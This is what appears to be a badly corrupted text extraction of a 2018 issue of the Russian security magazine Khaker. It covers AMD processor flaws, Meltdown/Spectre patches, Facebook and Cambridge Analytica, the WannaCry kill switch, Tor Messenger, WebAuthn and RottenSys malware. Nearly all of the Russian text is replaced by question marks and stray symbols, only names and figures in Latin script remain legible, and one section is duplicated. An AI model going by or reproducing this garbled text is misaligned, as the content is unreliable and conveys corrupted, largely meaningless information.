close

Вход

Забыли?

вход по аккаунту

?

ХАКЕР №229 2018

код для вставкиСкачать
??????�18
?�9
CONTENTS
MEGANEWS
???�????�?�??�?????�????
???爒s燭elegram
??�????�???�?�??�????�?????
???�????燗ndroid
???�??�??�?,�??�????�?��??�??�??�?�?????
??�???�??�????�???
??�???,�??�?,�??�?,�????�??�?????�??
??�???�??�????�???
??�????�?�??�??,�????��??�??�???�??�??
???�??�??�????�???
??�???�?�??�??�????��????�??�?�??�??�???�??�????�???�??�???
Memcached�??�????�??�??燚oS
???�???�?��??�???�???�?????�????�??�??�???��????�???�??�??
??�???�??�????燱ebApp
10�??????�??�????��?????�????�??
???�??�??�?????�??�????�??
???�???�?��???�??�????�??�???�??�??�???�????
????�????燰oIP
???燩RISM�燘ULLRUN�????�???�??????�??�?�?????�???�?????
????�???燱ordPress
???�?????�?�????�????牜??????粻???�?�?燱ordPress
X?Tools
???�????�????�??�???????�??�??�?��??�???�??�??
???�???�???�???�?????�?
????�??�???�?�??�??�??�??�?��????�??�???�??燛thereum
???�???�??�????�??????�????�???燞DD
??�??�??��???�?�???�??�?????�???�?燗igo
???�??�??????2
???�????�??�???�?�????�??�??????�燚rupal
??�??�??�???�?
??�???�?�??�??�????��??????�????�??�??????�?�???�?
??�????�??!
??�??�??�??��??�??�??燝oogle��??�?�??�???�???�????燭akeout
??�???�?�??�?
???�???�?????�??�??�??�??��??�??�???�?
??�???�??�??�??�??�??????
??�????�??�??�??�????��??�???�?�??�????
WWW
??�????�??�??????�???
???�?????�??�????
???�???�?�??�??�?�燱indows�????�??�?燣ess燩rivileged燗pp燙ontainer
][?????�???:�??�????�??�???�??�???�??�???�???????
????�????�??�??�??�????��?????�??�??�???�???�????�??
??�???�?�?????�???�???
???�??�??�??�????��??�????�??�?????�????�?燞ackerU
???�??�????�?
???�??�???�???�?�???�???�?�??????�?��??�?????�???�????�???�??�??�??
???�?
???�???�?�???�??�??
?????牜Mifrill粻????????
nefedova@glc.ru
�
???�?????
???????�
????????????
??�??�???�???燗MD
?�??�?�??�?�18�???� ??�?�???�?????�?�??????�??��??�??�???�???�
?????�??� ???�????�??,� ????�????�??� ?� ???�??�????� AMD.� ????�???� ????
??????�?�?�?????�???�?:燫yzenFall,燤asterKey,燜allout�燙himera.
??�?????�?� ????�??�???�?� ????�??�??�?� ????�???� CTS?Labs� ??� ?????�
????�???� ???????� ???�????�??� ???????� ??� ????� ?????,� ?� ???�????� AMD� ????�
????�?�?�??�????�??�????�??�?�??�?�?�??�??�??�??????�??.�????
???�?� CTS?Labs� ???�??�????� ???�???� ???�???� ??� ???�???� ???????�??�??,
?�?????�??�?????�?�??�???��??�?�???�?????�?????�??�??�??�????.
??,� ???� ???�?????,� �??�????�??粻 ?????� ?� proof?of?concept� ???�??�??
???� ????�??� ???�??�?????� ???�????�??� ?????�??�?.� ?� ???�?� ???????�??
??� ???�????�??� ???�???�???� ????�?????� ??????�?????�?,� ????�??� ????�
?????燙heck燩oint,�??�?�??�????燙ymmetria�???�???�?�(Gadi燛vron),��???�
??� ???�?� ???�????� Trail� of� Bits� ????� ???�?� (Dan� Guido).� ???�?� ????,� ???????�
??????� CTS?Labs� ????� ????????�??�??� (Ilia� Luk?Zilberman)� ????�??????
?????�??�???�?,� ?� ???????� ????�??� ???????� ???�?� ???�????� ?� ???�??�??,
??????� ???�???� ?????�??� ???�??�????� ???�?????�??� ?� ?????� ????�????
?�??�????�????�??�??�??????�??�??�???�??�??.
???�??�??�?�?????�???�?�???�??�???�?燗MD�???�?�??�?�???�???�
????,�???�??,�??�????�???�??�????�??�??�?�??�????�??��??�??�??.
CTO�??�????燗MD�???�??�??�?????�(Mark燩apermaster)�??�??�??,�??
?�????�???�???燗MD�??�????��??�???�??�??,�??????�??�?�???????
???�???�??�??�??燙TS?Labs��???�?????�?��??�????�???�?????�?�????.
????�???� RyzenFall,� MasterKey,� Fallout� ?� Chimera� ????� ??� ???�?� ???�?????
??�???�??�???��??�????�???燤eltdown�燬pectre.�???��??,�??�??�???�
???�??�??� ?????� ?� ???�??�????� AMD� ???�?????� ???�??� ????�???????�?
????�??�???�?????� ???�???� ?� ????????� ???�?� ????�??�??�???.� ?� ???�????,
???�??�??� ???�?????�???� CTS?Labs� ????�???� ???�???�???�?� ????�?,
??� ???� ?????� ??????�?????�?� ???� ???�??????� ?� ????�????� ???�?,� ??� ??
?�????�??�??�???�??�???�???�??�??�??�???�??�??�???.
???�??�?????� ?????�??,� ???� ???�?� ???� ????� ???�????�??� (?� ???�???
???????�??� ???� BIOS)� ???�??� ?� ???�??�??� ???�?,� ????�?� ????� ???�????
??�?????�?�??�???�??�??�??.�??�?????�?�??�???�?��??�???�???.
???�???�??�????�??
???�?燤eltdown�燬pectre
???�?� ?????� ????�??,� ???�?????�??� ???�????�?� ???????�???� ????????�?
?� ???�???.� ???,� ??� ???� ???� ???�??�???�?� �??�??粻 ?� ??????�???�?� ????�
?????�??燤eltdown�燬pectre,�??�????��???�?�18�???.
?� ??????� ????�?� ???�????� Intel� ????�?????�?� ???�??�??� ????�??� ???�??
????????�??�?�??????�??�??�??????,��??????�???�???,�??�????�???
Meltdown�燬pectre�?�???�??�??�????�??�?�?�???�??.�???�???,��???�
????�?,�??�???�???��??�????�?燬pectre�???�??�CVE?2017?5715),�??????
???�?????�????�????�????�???��???�??�??�????,�??????�??�??�???�
??��07?2010�????.
?�????�??�??�??????�?�??�??�????�????�??�??�??燤eltdown�燬pec?
tre� ???� ??????�??� ???�??�????� ????�??�?� ??� Stopped� ?� ???� ????�???,� ???
???�????�?� �??�????粻 ???� ????� ???�??�??� ????� ????�?????.� ?� ???�????
????�???,�??牜???�?�??�???�???�??�????�??�???�????�??��??�??�?????�
???� ???�?????�??� ???�??????� ???� ???�??� ???�??�??� Intel� ???�???� ???????
??� ?????�???� ????????�??� ???�?????� ???� ???�??� ???????� ??� ?????
???�????�??�???�.�???�??�?????�??�???�??�?�???�??�???�??????:
? ??�??�????�???� ???�???�????�???� ????�?� ?????�?????� ????�????�??
?????�??�????�??�???,�??�???�???�????�???燬pectre�???�??�CVE?
2017?5715)?
? ??�??????�??,�??�???�?????�?????�?�??�??�??�??
? ???�????� ???�??,� ???????�??� ??� ???�????,� ????�???�??� ????� ???�??�??
???�???�???�牜???�????�??�????�,�??�???�???�?,�???�??????�??????�
???????�???�??�??�??�????�??�??�??�????�???.
?�??�?�??�??燬topped�?????�?�??�?�??燘loom?eld,燘loom?eld燲eon,燙larks?
?eld,燝ulftown,燞arpertown燲eon燙0�燛0,燡asper燜orest,燩enryn/QC,燬oFIA�R,
Wolfdale,燱olfdale燲eon,燳ork?eld�燳ork?eld燲eon.��????�??�??�??�?�???�
???�??� ???????� Xeons,� Core,� Pentium,� Celeron� ?� Atom,� ????�????�?� ???,� ???
???�???�???� Intel.� ????�???�??� ???�??�????,� ???� ???????� ???�????�?
??????�????�??�?????�????�?????,�???�?????�?��07?2010�????.
???�?�???�???,�??�???�?��???�???�??�?�??�??�??�??�??�????�??
Arrandale,� Clarkdale,� Lynn?eld,� Nehalem� ?� Westmere.� ??????,� ???�????
???????�?,�??�?????�????�??????�?牜?�?????�.
????�??�???�?� Intel� ????�???,� ???� ?� ???�?????� ??????� ???�????� ????�
??????� ?????�???� ??????� ???� ???�???� ???� ???�??�????,� ?????�??� ??� ????�
??????�?????�??.
?� ??????�?� ????�?� ???�????� AMD,� ?� ????� ???�???,� ???????� ?????�???
???�?????,� ??????�?????� Spectre� ????�??� 2� (CVE?2017?5715).� ??????� ???�?
????�???�???� ???� ???�??�??� ??????� ??� 2011� ????� ?????�?� (??� ???�??�????
Bulldozer).�??�????�???�??�??????�???�??牜???�???粻???�?�??�???�????�
???�?��??????�???�???,�??�?�?�???�???�??????�??��??�??燘IOS.
??�??� ???�??�??� ??????� ?� ???�??????�????� ???�??� ???�???�???�??
????�?????� ???�????� Microsoft,� ?????�?� ?� ???�??� ??????�??�?� ????�???
???????�??�??�???�???�??�????燢B4093112�(????�???�?�??燱indows�).
?� ???�??� ???�?� ???????�??� ???�?� ???�?� ???????�?,� ???????� ???�?� ???�???
???�???�?????�??燗MD��??�????�?�?�????�????燬pectre�???�??�
??�???,� ???� ?� ????�?� ??????�?� ????� Microsoft� ???� ????????� ?????�???
??????�????,� ???????� ???�???� ?????�??�??� ??????� ??� ???�??�???� AMD� (?
???�???�?,�????燗thlon�燲2).�??�?????,�??�???�?�??�?�???�??�?�??�??
(?� ????�?� KB4056892)� ???�???� ??� ????� CPU� AMD� ????�?� ?????�???� ????�
??????�?,�?????�???牜?????�????�???�?粻?�??�????.��??�?�??�???????�
?????� ???�??� ???�???�?� ???�???�???�?� ?� ????� ????�?� ???�???�?� ??????
?????�?????,� ?????�??� ????.� ????�??�?,� ???� ?� ???�??� ??????
KB4093112�?�??�??�??�???�???�??�????�???�??�?,�??�??�???�?????�??
???�??�?�???�??�?????�??�?????.
?� AMD� ???�?� ???�????�???,� ???� ???�??� ??????�????� ???�????�??� ?� ????�
???�????� ???�????� ???�???� ???????�??�?� ????�??�?� ???�??????,� ????????�
???� ??� ???�???�???�??� ??????,� ?� ????�??�?� ???�??� ???� ???�???�????� ????�
????.
????�?��??�??��??????�?�?????�???燜LASH
???�???�?�??�????燱3Tech�???�???�??????�??????:�???�?????�??????燜lash��???????�
??�??�??�???�??�???�?���??�?????�??�?�??�????�?�???�9%�(??�???�????��,5%
?�11�???).�??�?�???????,�??�???�???�?�??????�?��????,��?��??�????�??�?????
???????�????�?????�???�??�??.
??�???� W3Tech� ???�??????�?� ???�??�???,� ????�??�??� ?????� ????�???�?� ???�????� Google.
???,�??��??�???�18�???�??�?????�?�???�???,�??�???�?????�?燙hrome�???�???�???
?燜lash�?� 80%�???,�??��14�???.�?�???��?????�18�???�????�??�???�???�???
8%.
???�????????
FACEBOOK
Cambridge燗nalytica
?� ???�?� ???�?� 2018� ????� ???�????� Facebook� ???�?????� ?� ???�??� ???�????�
????�???�???.�??�?�????�??,�??�??�???�?�??�????�??�??�???�??�????
Cambridge� Analytica� ??????� ??????�???� ???????�??� ?� ?????�??� ???�?????
????�?????�??� Facebook� (???� ??� ??????).� ???�??� ???�??� ??????�?
???� ?????� ???�???�??� ????�???� ????�?,� ???� ????�??� ?� ???????� ???�?� ????
???�?� ?????� ????�??�??� ????.� ????�?,� ???� ????�???�?� ????� ???� ?� ????�
???��??�?????�??????,�?�??�?�??�?�????�??,�??�??�?????�???????�
???�??�??�??�??���??�?????.
??�??� ????�??� ????� �???�???粻 ???�?� 270� ?????� ???????,� ??� ?� ??
???????� ???�???� API� ????�??�??� ????� ???�?� ???�????� ???�???� ???�??
?� ?????�?� ????� ????�?????�??,� ???� ?� ???�?� ?� ???�??�?� �????�???�????�
???????�??� ?� ???�?????� ???�??.� ?????� ???� ???�??� ????� ??????�?????
???� ???�????�??� ???�???�????�??� ???�??�??� ?� ???�????�?� ???�?????�????�
???�??�??�???.
???�??�???????�??�??�?????燙ambridge燗nalytica��???�??�?�??�???
??????�??�??� ????�????�??� ????�???�??,� ???�??� ????�??�??� ????�??�??
????� ????� ??????�?????� ??� ???�?� ?????�??� ????�?????�??� ???�????� ?� ????�
??????�???�??�???.
?�??�?燜acebook�???�???��??�???????�???�???�????��??�??�??�?
????�?????�??,� ?????�????� ?� ?????�??????� ???�??�?????,� ?� Cambridge� Ana?
lytica�????�???�?�???�?�?��??�??�?�???�???�???��??�???�?�??????�
????� ???????� (?� ???� ???�?� ???�????�???).� ????� ???� ?� ????�????� ??????�??
?�??,�????�???????�?????�???�????�????�?�??�???�?,��?????�?�????�
??????�?� ????� ?� ????????� ?????�?� ???�??� ???�???� ???�???.� ?� ?????
??????�????� ???�????� ????� ????� ??????�?� ????�???�???� ???� ???�?????�??,
??????�????��??�??�??�??�???�?????�??�??�??.
????� ????�?� ???�???�?� ????� ???�?� ??????� ????�???� Facebook� ????�???
???????�????�??�????��???�????�???�???�??�?????�???�????�?�???
????�??�????.�???�?�??�??�?�???�???�?�??�????�????��???�??�??
?????,� ???????� ????�?????� �?????�??粻 ???�????� #deletefacebook.� ????�
?????� ??� ???�????� ????�??� ??????� ?� ????�??�??� ????� ???�????�?� ???�??
?????�???� ???�????,� ????�??� ???�?� ???�???� (Steve� Wozniak),� ????�?????�?
WhatsApp� ????�??� ????�?� (?????�?,� ???� WhatsApp� ???�??�????� Facebook,
??�????�????�?�?????�?��??�????)��???�??�?�??�?,�??????�???
??� Facebook� ????�???� SpaceX� ?� Tesla.� ??� ????� ????� ??� Facebook� ???�????
??????�???�????�??�???,��????�??�????�??�?????�?�?????�?��???.
?�?????�?�???�?�????�???�???,�??�????�?????�??�??燙ambridge燗n?
alytica�燜acebook,�???�????�???�???�??�????�?�??�???�?��??�???�?
???� (?????� ???�???� ???�?????� ?� ?????�?????� ??????�??).� ??????
?� ???????�?� ???�?� ?????� ?� ???,� ???� ?????�???� ?� ???�???�?� ???� ?????,� ?� ?
???�???�?�?�??�????�???�?????�?.
????�?�?�??�???
??�?�??�??�?????�??�?�???�???�???�?�?????�?�???�??燙ambridge
Analytica,�??�????�?�???�??燗rs燭echnica��???????�???�???�???�???�?,
???� ?� ???�?????�??� Facebook� ????� ????� ????�?� ??� ???�??� ???�??,� ???� ???
??????�?.
??�?� ?� ???,� ???,� ???�?� ???�????� #deletefacebook� ???�???� ???????�????,
???�??� ???�?????�?� ???�?� ???????�?????� ????�?????�??� ?????� ???�???�?
????�??� ??????� Facebook� ???�???� ?????� ??� ????� ???�?� ???????�???,� ????
????�??�??�???�??�??�????�?�????�??�???????.
????�?� ?� ????� ??????� ????�???�?� ???�????�?????� ????�????� ??� ?????,
???????� ???�?????� ????�?� ???� ?� ?� ????�???�?� ????�???�?� ?� ???????�??
????�??� ???????�??� ???� ????� ????�??,� SMS� ?� MMS� ??� ???�?????� ???�???�?
???.�???�?�????�???�??�?�??�?????,�??????�??�?????,�??�??�??????�
?????�???�??,�???��??�????.
???�??�??????�??
???�?�??�????�?燗rs燭echnica�???�?????�?�???�???�??��???�??�???�??
Facebook,� ?� ???�????� ????�???,� ???� ???�????� ???�??�????� ???�???�??
?�??�????燜acebook��??�???�??�????�??�??�??�?�???�?????�???,�???�
??�??�???�??�?�???�???�??�??�????.�??�??�?�?�??�?�??�???�??�?
?�??�??�???�????�??�???�??�??�??�???�??��???�?????�?�??�??????�
??�??�??????�?�??�??��??�?????,�??�????�?��?????�?,�??�??�????�
????????� ?????� ????�???�?� ???�?� ???� ???�?� ???�???� ???�????�??� ???�????
?????�??�???.�??�??�?,�??�????�???�?�??�??�???��?????�???�??�?
???????�????�??�??.
????�?� ???�???� ?????�???�?� ?� ?� ???,� ??????� ???�??� ????�?????�?� ????
??� ?????�?????� ?� ???,� ???� ??????� Facebook� ???� ????�??????� ???�??????
???�???�?�?�????�????.�??�??�?????,�???�???�??�?????�???�?�????�
??????�??燗ndroid????�???�??.
??�???�???,�??�???��??�?????�??�?�??�???�??燤essenger�燜ace?
book� Lite� ???�?� ???�??�??� ????�??� ???�??�??????� ????�?????�??� ?� ???�?
??????�??� ????????� ???�??� ?� ?????� SMS� ?� ???�???� ???????.� ??� ???�??
??????�????,� ??� ???�???� ???�????� Android� (???�????,� 4.1� ?� Jelly� Bean)
??� ???�?,� ????� ???�??????� ??� ???�??� ?� ???�?????� ??????�???� ???�?� ????�
??????�???�??�??��????�???�????��??????.�???�???,��????�??燗rs
Technica� ????�?� ?� ??????,� ???,� ????� ???�?� ???�????�???� Android� ??????�?
?????�???� ??????� ???�??????� ?� ????�?� ????�????� ?� Android� API,� ???�?????�
????� Facebook� ?????�?� ???�??�???� ??????�?????� ???�??� ???�??,� ???� ????�
??????� ??� ????????� ???�??� ?� ???????�??� ?� ????�??� ?� SMS,� ?????�?� ??� ????�
???�??�?�???�???�?????�??.
?� ?????� ??� ???�?????�?� ?� ???� ?????� ?????� ????�????� (??� ????� ???
?�???�?�?�???�?????�???��?�??�??�???�?�?????�????)�???�??�????�
??� Facebook� ????�?????�?� ???�????�??� ????�????.� ?� ???� ???�????� ?????
???�??�??�?,� ???� ???� ???�??????� Android????�???�???� ????�?????�?� ????�
???�????�?� ?????�?????�?� ???�?????�?,� ???????,� ???� ????�?.� ???�?� ????�
?????�?????,�??�??�????,�???�??�???�??��???�????,�?????�?�??????
�??????�?粻 ?� Facebook,� ???�?� ???�???.� ????�??�???�?� Facebook� ?????
????�???,�??�??�?????�??????�??�?????�???????�??�???,�??�?牜?????�
??????�?� ???�?� ????�???�?� ??� ???�?� ?� ????�?,� ???????� ??� ?????�?????�?�,
?�??�?�??????�??�??�?�?????�?�???�???�???�??�??�??�????��????�
???�??�????.
??�????�?,�??�??�????�?燗rs燭echnica�???�???�?�??�???�????.�????�
???� ???�???�?� ?� ???�??� ???�?� ???�???�?� ????�??� ????�?????�??,� ???????
???�???,�??�????�?�?�?????�??�???�???燜acebook�??�??????�?�???�
???� ?� ?????� ???????� ?� ????�????,� ??� ??????�?� ???�??�??� ???�??�????
??� ????� ?� ????� ??� ?????�?????� ?� ?????� ????????�?� ??� ???�???� ????�??�??
????.
Bug燽ounty
???� ???� ?????� ????�????� ??� ???�??�????� ????� ????�????�?� ?????�????�?,
????�??�???�?燜acebook�????�???,�??�?�???�?牜???�????�??�?粻???�???�
???�??� ???�???�??,� ??????�?????� API� ????�??�??� ????� (???� ???�????� ???
???�????� ????�???),� ??� ???�?� ???�????� ????� ????�????� ???�?????�????
??� ???�????�?,� ???�?� ????�???� ????�?????�??� ?� ??????�??� ??????� ????�???
?????�????�???�??�???�????�??�??�???�(data燼buse).
10�???�?�18�???燽ug燽ounty�???�????燜acebook�??�???�???�?� ??�?
???????�?,��?????�???,�???�????�??�???�??????燿ata燼buse��??�???�
???� ???�???�??,� ?????� ????????� ??� ???� ???�?????�????� ?� ???�???
??� 40� ?????� ???�????.� ???�??� ????�??�???�?� ????�??�??� ????� ?????,
???��????��??�?�??�????,��??�?�???�??�??�???�??�??�??�??????�
?????�????�???�??�????.
???�??�???�???�???牜???�???�????�??�??�???粻???�?????�???�?,�??
???�???�??� ??????�?� ???�??� ????�?????�??� Facebook,� ???????� ?????
??????�???� ?????�?� ???�????,� ???� ???????�??� ?????� ????� ?????�?????,
??????�?,� ??????�?????� ?� ?????� ?????�????�??� ???� ??????�??� ??????�???�
????�??�???.
????�??�???�?燜acebook�???�???,�??,�???�???�??�???�????�??�???�
????� ?????� ???�???????,� ??????� ???�???�?????????�???� ?????� ?????�
??????.�??�?�???�??�??�???�??????�?�?�????�??�?�???�???�?�?�???
???�?????� ???????�???� ?� ???�???�???????�??� ????�?� ???� ???,� ????
???�????�???�?????.
WANNACRY�??�??�???�???�??�?????�????�
???�??
???�?????�?�??�????燢ryptos燣ogic�??�??�????�?,�??�???�?�?�??�?????�???燱annaCry
???????�???�????�???�?.�???�?��???�??�????�?????�?�?????�??????�??�??�??�???
(Marcus� Hutchins),� ?????� ?????�???� ???� ????�??????� MalwareTech.� ???� ???� ???�???�??� ????�
?????燱annaCry�??�???�???�?????��??�17�???.
???�?� ???�???� ?????� ?� ????� ???�???�?� ???�??�??� �????????�� ???�?????,� ???
?????� ???????� ??????� ???�???� ????�???�?� ?� ??????� iuqerfsodp9ifjaposdfjhgo?
surijfaewrwergwea.com,�??�????,�????�??�?�?�?.�???�????�?�??????�??�????,
???�???�?????�?�??�?????�??�?.�???�?�???�????�????�??�?,�?????�???�???�??�????�
??�??�???�?????�??.燤alwareTech�??????�??�????�????�,�?�???,�???�????�??�???????�
?????燱annaCry.
??� ???�??� Kryptos� Logic,� ???�?� 100�0�0� ????�????� ?� ??????� �???????�?粻 ????� ?????�
????�?��????�???�?�??�?�18�???.
??�??????�牜???�??�???粻??????�???�???�00�0�??�???�??營P?????�??.
�
??�?????� ???�???� ???�?????� ??� ???� ???� ????????� ??????�??� ?� ???� ??????�???� ???�?
MS17?010,� ???????�???� Microsoft� ???� ?� ???�?� 2017� ????.� ????� ?????�???� �???粻 ?� SMB,
???????�??�??�??�???燱annaCry.�???�??�???�?�??�???�??�???�?,�??�??????燱annaCry
????�???�???�???�????�??�?????�??�???��???�??�??�????.
GOO.GL�燭OR燤ES?
SENGER�??
Goo.gl
????�??�???�?�??�????燝oogle�???�?????�?�??�??�???�??????�?????
???�???� ???� ???�??????� ???�??� goo.gl,� ???????�???� ?� ???????� 2009� ????.
???�????�???� ?????,� ???� ?� ???� ???� ????�?� ???�?� ????,� ??� ???�?� ?????�???
???�??�??�??�????�??�??�????,��????�?????�??�?????�???,�?????�??
????????�?� ?� ???�???�??� ????�?� ????�???� ????????� ??� ????�???�???�?.
??� ???�??� Google,� ?� ???�?????� ???�?� ?� ???�???� ???� ???�??????� ???�??
????�?�??�??�?.
?� 13� ????�?� 2018� ????� ???�????� ??????� ??????�?????� ????�?� goo.gl
�???????�????�??�,� ??????�??�??� ????�?� Firebase� (Firebase� Dynamic� Links,
FDL).� ???�?� ???�?� ???�??�??� ????� ???�??�??� ?� ?????� ????�?????�?� ?????
??� ?????� ???�?????� ?????� ????�?� goo.gl.� ?� ?????�??� ???�??�?????� Google
????�?????�?????�?????�??�??�???�??燜irebase�??�???�?�??�????燘itly
?燨w.ly.
???�???� goo.gl� ?????� ???�????� ???????�??�????�??� ????�?????�??,� ???
???�???�????�??�???�?,�?��??�?�19�???.�?�???�????�??�?�??�?
?????�??�???�???�?�??�??�??�??????�??????�???�?????�??�?�??�???
????�?,�???�?�??�??��??�???��????�????�????燯RL�????�??�???.�?
????�??�???�?�?�????燗PI�??�??�?�??�?????�?�??????.
Tor燤essenger
??�????� ????�????� ?????�???� ?� ????� ??????� ?� ?� ???�????�??� ???�?� ????�
?????�????燭or燩roject.�???�??�???�?��???�??????�??�????�?�??�???�
????� ???�??�??�?� Tor� Messenger,� ???????� ???� ????�???�??� ???�???
?�15�???.��?????�??,�?�??�??�??�??�?�??�??�??��?�????�??�?
??� ???�??� ????????�?????�??.� ?� ???�?� ????�????� ???�????�???� ???�????
???�???�?,� ??????� ???� ???�???�?,� ?� ???????�???� ??????� ?� ????�?� ?????�
???????�??�????�?.
??�?????�?� ???�???�?????,� ???� Tor� Messenger� ???�??�????� ????�??????�
???� ?????� ???????�??� ??????????�?????�??� ?????� ???� ????�??,� ???
???????�????� ?????�???�?� ??� ????� ????,� ???� ????� ???�??� ???�??�??�?� ????�
?????�????燭or,��??�?�?�???燨TR????�??????.�????�?,�??�??�??�???
???�????�??燡abber�(XMPP),營RC,燝oogle燭alk,燜acebook,燭witter��??�????.
???�????�???� ??????�?,� ???� Tor� Messenger� ?????� ??????�?????�?
???� ?????�??� ???� ????�??� ?????� ???� ?????�??�???� ????�??�??� ????� ?� IM.
?� ????� ??????� ??????� ???�??????�??� ????�?????�?,� ???� ???????�??� ?????�
??????�??�??�?�??�?�??�???�?�??�??�??�??�????,�???�?????�?�???
??�??�???,��??�?�????�???�?��????�????�??�??�???�???燨TR�????�
????�?�???�?�???�????�?�???�?.
??�?�??�????�???�????,�??�???�???,�??????��???�?燭or燤essenger,
???????�???�????�?�?�????�??�牜???????�,��???????�??�???�?�???�
?????�?�??�?�?????�???�???�?????.��??�?�??�???�??�???????�???�
????,�?�??????�??�??????�???�??�???.
??????�??,燭or燤essenger�??�??�??�?�?�???�??�???營nstantbird,�?????�
??�??�????�?�???�??�???燤ozilla.��?????�??,�??�????�?�??�?�??�???
????� ????�?????� ?� 2017� ????,� ????� ?????� ???�???� ??????�???�?
?燭hunderbird.
??????�??,� ????�???� ???????�??,� ???????� ???� ??� ???�???�???� ??� ????�
???�??�??�????,�??�?????�????�??�?????�??,�??�???�?????�???�????�
????�?,� ?� ?� ????� ???�????�???� Tor� Messenger� ??????� ???�???� ??� ???�?.
?� ??????�??,� ??????� ????� ???????�???� ???�?� ???????� ???�???� ??????�??
????�?????�??,� ?� ???????�??� ????�?� ???�???,� ???�?� ??????,� ?� ???� ????�?
????�???�??????��??�??�?.
???????�?,�??�????�???�???�???�?,�??��??�??�????�?�??�???�?????�
???.�???�??�?��??????�??�??�??燭or燤essenger�??????�???�???????�
??�?�??�??�???????�?????�??��????�?�?�??�????�???�??�????�(?????�
??� ???� ????�?????).� ????�??�???�?� Tor� Project� ????�???,� ???� ?????� ???�????
?????� ??� ???�???�???� ????�???�???� ??????�??� ????�?????�??� ?� ????
?????????�?,�??�???�????�?�?�??�??�???�?�???�?.
???�?� ????�??????� ???�????�?� Tor� Messenger� ????�?????�??,� ???????
???�?�??�?�??�??�????��?????�??�?????�??,�??????�???�???�??????�
??� ?� ??????�??�??� ???�??� ???�??� ???�?� ????�???�??� ???????.� ???� ?????�
??????�??,� ???????� ?????� ????�?� XMPP,� ???�????�???� ??????�?� ????�???
???�????�?燙oyIM.
?�???�?????�?� ???�??�????�?� ???� ???�?????�?� ???�?� ???�?� Facebook,� ?...� ??????�??� ???,
Facebook�?????�???�?�???????�???�?�?�??�???.�??�?�??�???�?????�???�?�???????�
???� ????�?????�??,� ??� ????� ????�?????�?� ??� ??????�?� ???�??� ???????� ??????.� Apple� ????�?
????�?�?�??????�??�??�??,��?�?�??.���??�??�燜acebook,�??�??�???�???????,�???�
????��??�?�
?�???�??�??��??,�?????�?�??�??�???�???�??�燜acebook
??????????? ??????
?
??????????????
???�??????
???�????�?� W3C� (World� Wide� Web� Consortium,� �??�????�?� ???�??�??
?????�?�)��??�??燜IDO�(Fast營Dentity燨nline)�?????�?????�??燱eb燗uthenti?
cation�(WebAuthn)�??��15�???.�????�?,�??�??�??燗PI�??�???�?�????�
??????�??� ???�???� ?� Google,� Facebook,� Dropbox,� GitHub� ?� ???� ?????
???�?????�???�??�??�??�??燳ubiKey.
??� ????� FIDO� 2.0� Web� API� ???� ???�??????� WebAuthn,� ???????� ????�???
?????�?????�?�??�?????�???���?????�??�???�?�???�???�?�?�??????�
???????�??????�???�?.�??,燱ebAuthn�???�???�?�?????�?????�??�?????�
??????�??�?�??�??���??�???�???�???�??�??�??�?,�???�??�?�???�??,
???�????�????�??,�??�?�????�??�??�??�?�??�?��??�??�?????�??.
FIDO�0燗uthentication
???�??�?????牜???�???�???粻WebAuthn�??�??�??�????燙lient爐o燗uthentica?
tor�(Client爐o燗uthenticator燩rotocol,燙TAP).�??�??�???�?�??�????,�???????
????� CTAP� ?� ???� ????�??�????� ???�?� ???�?� ???�??�??� ?� ???�??�??� ????�
?????� ?????�?????�??,� ?� ???�???� NFC� ???� USB????�??,� ???�????� ????�???�
? �?????�?????
??????????????
???�??????
???�????�?� W3C� (World� Wide� Web� Consortium,� �??�????�?� ???�??�??
?????�?�)��??�??燜IDO�(Fast營Dentity燨nline)�?????�?????�??燱eb燗uthenti?
cation�(WebAuthn)�??��15�???.�????�?,�??�??�??燗PI�??�???�?�????�
??????�??� ???�???� ?� Google,� Facebook,� Dropbox,� GitHub� ?� ???� ?????
???�?????�???�??�??�??�??燳ubiKey.
??� ????� FIDO� 2.0� Web� API� ???� ???�??????� WebAuthn,� ???????� ????�???
?????�?????�?�??�?????�???���?????�??�???�?�???�???�?�?�??????�
???????�??????�???�?.�??,燱ebAuthn�???�???�?�?????�?????�??�?????�
??????�??�?�??�??���??�???�???�???�??�??�??�?,�???�??�?�???�??,
???�????�????�??,�??�?�????�??�??�??�?�??�?��??�??�?????�??.
FIDO�0燗uthentication
???�??�?????牜???�???�???粻WebAuthn�??�??�??�????燙lient爐o燗uthentica?
tor�(Client爐o燗uthenticator燩rotocol,燙TAP).�??�??�???�?�??�????,�???????
????� CTAP� ?� ???� ????�??�????� ???�?� ???�?� ???�??�??� ?� ???�??�??� ????�
?????� ?????�?????�??,� ?� ???�???� NFC� ???� USB????�??,� ???�????� ????�???�
???� ????�??� ?� ????�??�?� ???� ????�???.� ???�?????�?� W3C� ???�???�?,� ???
???� ????�??????� ???????�????�????� ?????� ?????�?????�???�??� ???�?� ???
API�??�??�???????�???�?.
???�??燝oogle,燤icrosoft�燤ozilla�??�??�??�?,�??� ???�?????�??�?????�
??,�??�???�?,�??�??�??�??燱ebAuthn燗PI�?????�?�燙hrome,燛dge�燜irefox
?�????�??�??�??�???.�??,燱ebAuthn�?????�???�燙hrome��燜irefox�,
???�????�??�?????�??�??�??�?�?�??�18�???.
???�???�?,� ???� ???� ???�????�?� ???????� ????????� ????�?????�??
??� ?????�?,� ????� ???????� ?� ????� ????� ????� �??????� ??????�???粻 (man?in?
the?middle).� ????� ??????�?????�?� ???�?� ????�?� ?� ??????,� ???� ???????�
???????�??????�???�?�??�?�??�???�??????�???�????.
5�0�0�???�??�??��??�??�????�?????�??�
?????
???�?????�?� Check� Point� ???�??�???� ?� ????�??� ???�???,� ???�?????� ??� 4�4�0� Android?
??????�??.� ???� ???�???� ??????�?� ???�???�??� RottenSys,� ???????� ????�??� ???� ???????
?�16�???.
RottenSys�????�???�?��???????�?�????�???�??�?��??�??????�???�?�??�??�??��?????�
???�?� ???�???�????� (Google� Play� Store� ??� ??????�?� ?� ?????,� ?� ????�???�??� ????�?????�??
????�??�???�?� ???�???�??� ??� ???�??�??� ??????�??).� ?????�?????�?,� ???� ??????�?� ???�?????
???�??�??�???�?�??????�??��??�????�??�??�???.
???�?� ??????�?� ????� ??????�??� ???�??????�?????� ?????� ?????�???� ???�????� Tian� Pai� ?
???� ???�???�?� ????�???????,� ???� ?????� ?????�??� ???� ????�?� ?????�????� ????�??�?????
??�???�??�?�??????�??燫ottenSys�??�???�??.��??�??�???�???�??�?�???,�??�??�???
???�?????��??�???.
?????�??�?????
?�?????�???�?� ??�?�???�?????�?� ???????�??� ?� ???�????�??� ???�????�?
CVE?2018?0171,�??????�???�???�?��??�???燙isco營OS燬oftware�燙isco營OS
